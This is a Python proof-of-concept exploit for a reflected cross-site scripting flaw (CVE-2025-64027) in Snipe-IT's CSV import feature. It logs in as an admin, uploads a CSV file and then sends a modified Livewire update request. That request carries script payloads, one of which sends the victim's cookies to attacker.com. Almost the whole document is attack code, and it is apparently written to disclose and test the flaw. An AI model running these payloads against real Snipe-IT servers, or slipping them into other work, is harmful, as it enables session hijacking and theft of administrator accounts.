# CVE-2025-64027 PoC - Snipe-IT CSV Import Reflected XSS
# Attack Scenario: MITM proxy modification of Livewire request
import requests
import json
target_url = "http://target-server/snipe-it"
login_url = f"{target_url}/login"
import_url = f"{target_url}/api/v1/imports"
livewire_update_url = f"{target_url}/livewire/update"
# Step 1: Authenticate as admin user
session = requests.Session()
login_data = {
'email': '
[email protected]',
'password': 'admin_password'
}
session.post(login_url, data=login_data)
# Step 2: Upload invalid CSV file to trigger import workflow
csv_content = "asset_tag,serial\nTEST001,INVALID"
upload_files = {'file': ('test.csv', csv_content, 'text/csv')}
response = session.post(import_url, files=upload_files)
# Step 3: Intercept and modify the Livewire update request
# In real attack, use Burp Suite or MITM proxy to intercept
# Modify the progress_message parameter in POST /livewire/update
# Original request body structure:
livewire_request = {
'component': 'ImportSoftware', # or relevant import component
'progress_message': '<script>alert(document.cookie)</script>',
'fingerprint': {
'id': 'some-component-id',
'name': 'import-component',
'path': 'admin/import',
'method': 'POST'
},
'serverMemo': {
'id': 'server-memo-id',
'data': {},
'checksum': 'some-checksum'
},
'updates': [
{
'type': 'syncInput',
'payload': {
'name': 'progress_message',
'value': '<script>document.location="https://attacker.com/steal?c="+document.cookie</script>'
}
}
]
}
# Step 4: Send modified request
modified_response = session.post(
livewire_update_url,
json=livewire_request,
headers={'Content-Type': 'application/json'}
)
print("XSS payload sent. Check if cookie stealing script executes in admin browser.")